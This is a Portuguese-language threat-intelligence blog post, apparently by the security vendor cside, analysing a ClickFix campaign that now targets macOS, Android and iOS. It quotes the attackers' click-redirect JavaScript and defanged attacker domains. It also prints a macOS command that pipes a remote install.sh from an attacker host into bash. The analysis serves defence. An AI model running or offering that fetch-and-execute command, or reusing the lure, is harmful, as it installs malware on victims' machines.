TL;DR: cadeia ClickFix com encurtador cutt.ly a atingir macOS, Android e iOS com tarball drive-by
- Não é só Windows: O ClickFix foi catalogado como prompts do PowerShell no Windows e esquecido. Esse modelo mental é precisamente a razão pela qual a mesma cadeia de engenharia social funciona agora em terminais macOS, downloads drive-by no Android e tarballs protegidos por palavra-passe no iOS.
- A cadeia de ataque: A cadeia começou com o idjhvn4m[.]pro a carregar JavaScript invulgarmente limpo, redirecionava através do kbmljxm[.]com e de um encurtador cutt.ly legítimo, e depois lançava um script de shell para macOS a partir do vuwzer[.]com, detetado por 10 motores, e uma carga móvel do iteslawow[.]com, detetada por 5 motores no VirusTotal. A cside captura o script real que cada utilizador recebe e utiliza deteção assistida por LLM para assinalar fluxos de transferência direcionados a sistemas operativos específicos.
- Reveja a suposição: Se a sua equipa de endpoint descartou o ClickFix como um problema do Windows, reconsidere essa suposição esta semana. Os atacantes tornaram-se multiplataforma, e os scanners estáticos continuam a receber conteúdo limpo porque não conseguem ver a cadeia de redirecionamento que o visitante vê.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
O que começou como um truque de engenharia social focado no Windows transformou-se numa ameaça multiplataforma do lado do cliente. Neste artigo, analisamos uma variante recente do ClickFix que agora visa macOS, Android e iOS, recorrendo a redirecionamentos baseados no navegador, alertas de interface falsos e técnicas de download drive-by.
O que é um ataque ClickFix?
Os ataques ClickFix não são novidade. O meu primeiro encontro com um foi em setembro de 2024:
Um ataque ClickFix é uma forma de engenharia social direcionada ou ataque do lado do cliente que explora o instinto do utilizador de "simplesmente resolver o problema". Normalmente começa com uma mensagem convincente que aponta para um suposto problema (como uma vulnerabilidade de segurança ou um problema num repositório). O utilizador é incentivado a clicar numa ligação ou a executar um comando, acreditando que está a resolver algo importante.
Neste exemplo de ataque, é pedido ao utilizador que execute um script no terminal. No Windows, isso significava PowerShell. A mesma técnica funciona também no macOS e no Linux. E, tal como aconteceu com o Windows, presumi que os utilizadores não cairiam nessa.
As suposições, no entanto, são um jogo perigoso em cibersegurança, o que infelizmente se provou mais uma vez.
Somos a cside e monitorizamos ataques de scripts de terceiros do lado do cliente, reforçando a proteção em tempo real do lado do cliente para sites e os seus utilizadores. Só nos últimos três meses, observámos mais de 300 mil sites comprometidos.
Esta é a segunda vez que noticiamos a evolução dos TTPs (Táticas, Técnicas e Procedimentos) dos atacantes.
Mas o que outrora era uma ameaça exclusiva do Windows, agora visa também outros sistemas operativos.
O ataque em detalhe
Recebemos um alerta relativo a JavaScript transferido de:
hxxps://idjhvn4m[.]pro?h=7bd350a4ed55a8faf2e45301d70d2&user=16O script entregue:
(function () { var sitename = document.querySelector("meta[property='og:url']").getAttribute("content"); const mysite = new URL(sitename);const mysitename = `${mysite.protocol}//${mysite.hostname}`;var mytitle = document.querySelector("meta[property='og:title']").getAttribute("content"); var xtitle_spe = mytitle.replace(/[&\/\\#, +()$~%.'":*?<>{}]/g, '-'); var xtitle_spa = xtitle_spe.replace(/\s+/g, '-'); var oldurl = 'https://kbmljxm.com/?s={KEYWORD}&p=16'; var final_url_1 = oldurl.replace('{KEYWORD}', xtitle_spa);var final_url_2 = final_url_1.replace('{site}', mysitename); var id = 16; var successResponse = final_url_2; var elements = document.getElementsByClassName("buttonPress-"+16); for(var i = 0; i < elements.length; i++) {var anchor = elements[i];anchor.onclick = function() {window.open(successResponse, '_blank');}} })();
Este JavaScript não é altamente ofuscado, o que é invulgar neste tipo de ataques. Cria um manipulador de cliques para elementos com um nome de classe específico, que abre um URL num novo separador quando clicado. Eis o que faz:
- Utiliza um URL modelo (hxxps://kbmljxm[.]com/?s={KEYWORD}&p=16)
- Substitui {KEYWORD} pelo título processado da página
- Associa manipuladores de clique a todos os elementos com a classe buttonPress-16
- Quando clicados, estes elementos abrem o URL construído num novo separador
Abaixo está a cadeia de redirecionamento:
Cadeia de redirecionamento na interface
A página parece um encurtador de URL e pede ao utilizador que copie uma ligação. Os atacantes estão a abusar do cutt[.]ly, um encurtador de URL legítimo.
Quando um utilizador cola o URL encurtado no navegador, é redirecionado para:
Esta página imitada do encurtador de URL apresenta o seguinte pop-up:
"Cole a ligação que copiou na barra de endereço do navegador."
Depois, redireciona o utilizador para uma página de transferência (neste caso, para macOS):
/bin/bash -c "$(curl -fsSL hxxps://vuwzer[.]com/get/install.sh)"
O conteúdo deste ficheiro de shell é o seguinte, nesta captura de ecrã:
Este script de shell transfere depois um executável para macOS (detetado por 10 motores antivírus no VirusTotal).
Comportamento no Android e no iOS
Quando testámos isto no Android e no iOS, esperávamos uma variante do ClickFix. Em vez disso, encontrámos um ataque drive-by.
Um ataque drive-by é um tipo de ciberataque em que código malicioso é executado ou transferido para um dispositivo apenas por se visitar uma página web comprometida ou maliciosa. Não é necessário qualquer clique, instalação ou interação.
A página redirecionou-nos então para:
hxxps://iteslawow[.]com/?=ijn&diu=16&sid=npT
Este site fez transferir um ficheiro .tar - protegido por palavra-passe com 7zip - que extraía e instalava o malware (detetado por 5 motores antivírus). Foi também detetado por 5 fornecedores no VirusTotal.
Foi detetado por 5 fornecedores no VirusTotal.
Tanto no Android como no Windows, foi utilizado este estilo de ataque drive-by.
Este ataque mostra até onde os atacantes estão a expandir o seu alcance. O que começou como uma campanha ClickFix específica para Windows visa agora macOS, Android e iOS, ampliando significativamente a escala da operação.
É mais um lembrete de como os ataques do lado do cliente se estão a espalhar amplamente, e das muitas formas que podem assumir, tudo isto explorando a confiança que os utilizadores depositam nas interações do navegador quando a segurança do lado do cliente é insuficiente ou mal aplicada.
